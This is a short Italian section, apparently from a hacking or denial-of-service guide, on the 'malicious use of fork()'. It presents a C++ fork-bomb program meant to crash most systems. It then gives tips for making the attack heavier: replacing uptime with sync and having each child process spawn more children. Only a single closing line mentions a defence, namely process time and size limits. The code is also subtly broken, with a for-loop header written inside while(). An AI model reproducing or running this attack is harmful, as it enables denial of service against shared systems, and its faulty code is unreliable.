|
.D.5. USO MALIZIOSO DI fork() |
Se qualcuno esegue questo programma C++ il risultato sarà il crash della maggior
parte dei sistemi.
Es:
#include <sys/types.h>
#include <unistd.h>
#include <iostream.h>
main()
{
int x;
while(x=0;x<1000000;x++)
{
system("uptime");
fork();
}
}
Puoi usare tutti i comandi che vuoi, ma uptime è bello perchè mostra il carico
di lavoro.
Per avere un attacco più grande e potente dovresti comunque rimpiazzare uptime
con sync. Questo è molto cattivo.
Se fai sul serio puoi instaurare un processo "figlio" per ogn processo "figlio" e
avremo un incremento del carico di lavoro.
Non ci sono buoni modi di fermare questo attacco e attacchi simili. Una soluzione
potrebbe essere piazzare un limite di tempo sull'esecuzione e dimensione dei processi.
|
- - -